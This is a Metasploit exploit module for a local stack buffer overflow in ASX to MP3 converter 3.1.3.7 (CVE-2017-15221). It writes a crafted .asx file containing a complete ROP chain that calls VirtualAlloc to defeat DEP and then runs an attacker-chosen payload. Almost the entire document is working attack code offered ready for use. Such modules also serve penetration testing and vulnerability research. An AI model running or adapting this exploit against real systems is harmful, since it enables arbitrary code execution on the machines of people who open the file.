1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)", 'Description'=> %q{ This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7. By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode. Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC }, 'License'=> MSF_LICENSE, 'Author' => [ 'Maxim Guslyaev', # EDB POC, Metasploit Module ], 'References' => [ [ 'CVE', '2017-15221' ], [ 'EDB', '47468' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Windows 7 Enterprise/10 Pro', { 'Ret' => 0x1002D038 # RET } ] ], 'Payload'=> { 'BadChars' => "\x00\x09\x0a" }, 'Privileged' => false, 'DisclosureDate' => "Oct 06 2019", 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx']) ]) end def exploit buf = "http://" buf += "A" * 17417 + [target.ret].pack("V") + "CCCC" ## Save allocation type (0x1000) in EDX buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x11111111].pack("V") buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN buf += [0x1002D493].pack("V") # POP EDX # RETN buf += [0xEEEEFEEF].pack("V") buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x41414141].pack("V") ## Save the address of VirtualAlloc() in ESI buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll] buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll] buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN buf += [0x41414141].pack("V") buf += [0x41414141].pack("V") ## Save the size of the block in EBX buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN ## Save the address of (# ADD ESP,8 # RETN) in EBP buf += [0x10031c6c].pack("V") # POP EBP # RETN buf += [0x10012316].pack("V") # ADD ESP,8 # RETN #buf += [0x1003df73].pack("V") # & PUSH ESP # RETN ## Save memory protection code (0x40) in ECX buf += [0x1002ca22].pack("V") # POP ECX # RETN buf += [0xFFFFFFFF].pack("V") buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN ## Save ROP-NOP in EDI buf += [0x1002e346].pack("V") # POP EDI # RETN buf += [0x1002D038].pack("V") # RETN ## Save NOPs in EAX #buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] #buf += [0x90909090].pack("V") # nop ## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address buf += [0x1002E516].pack("V") # POP EAX # RETN buf += [0xA4E2F275].pack("V") buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN buf += [0x10040ce5].pack("V") # PUSH EAX # RETN buf += "\x90" * 4 buf += [0x1003df73].pack("V") # & PUSH ESP # RETN buf += "\x90" * 20 buf += payload.encoded file_create(buf) end end |